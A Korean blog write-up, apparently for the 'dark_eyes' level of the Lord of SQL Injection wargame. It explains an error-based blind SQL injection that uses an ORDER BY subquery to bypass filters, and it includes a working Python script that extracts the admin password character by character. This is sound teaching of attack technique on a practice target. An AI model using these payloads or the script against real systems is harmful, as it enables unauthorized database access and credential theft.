iron_golem 문제처럼 Error Base Blind SQL Injection입니다.

하지만 if와 case/when을 필터링하여 조건문으로 풀지 못하게 했습니다.

또한 error massage도 띄어주지 않네요 ~_~


이번에는 order by를 이용해서 문제를 해결하려고 합니다.



[order by를 이용한 풀이]


' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)=1)%23


3가지 항목에 주목하셔야 합니다.

ⓐ order by: 특정 순서 혹인 정렬을 위한 SQL 입니다.

select 1 union select 2: Error를 유발하기 위한 구문

ⓒ length(pw): pw의 길이를 구할 구문 (이후 pw도 구함)



[ select 1 from (select 1 union select 2)m where 1=1 ]을 하게 되면 아래와 같이 행이 2개가 출력 되고,

[ select 1 from (select 1 union select 2)m where 1=2 ]을 하게 되면 아래와 같이 거짓으로 아무것도 나오지 않습니다.







⑴ length(pw) 가 참 일 경우)

Subquery에서 행 2개 출력 → order by 구문에서 Error → if(mysql_error()) exit(); 로 인해 빈 창으로 이동


⑵ length(pw) 가 거짓 일 경우)

Subquery에서 결과 x → order by 구문에서 정상 진행 → if(mysql_error()) exit(); 통과 후 echo 실행



어떻게 풀어야 할지 알았으니 Python으로 풀어봅니다.

id='admin'을 추가한 이유는 guest의 값이 나올 수 있기에 사용했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
password = ''
length = 0
 
for i in range(1,99):
    query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)={0})%23".format(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("query")<0):
        length = i
        print("length: "+str(length))
        break    
 
for i in range(1,length+1):
    for j in index_list:
        query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and substr(pw,{0},1)='{1}')%23".format(i,chr(j))
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("query")<0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs





[참고]

에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search

Blind sql injection: https://github.com/solmonk/writeup/blob/master/blind.md

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] umaru  (0) 2018.10.18
[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08

+ Recent posts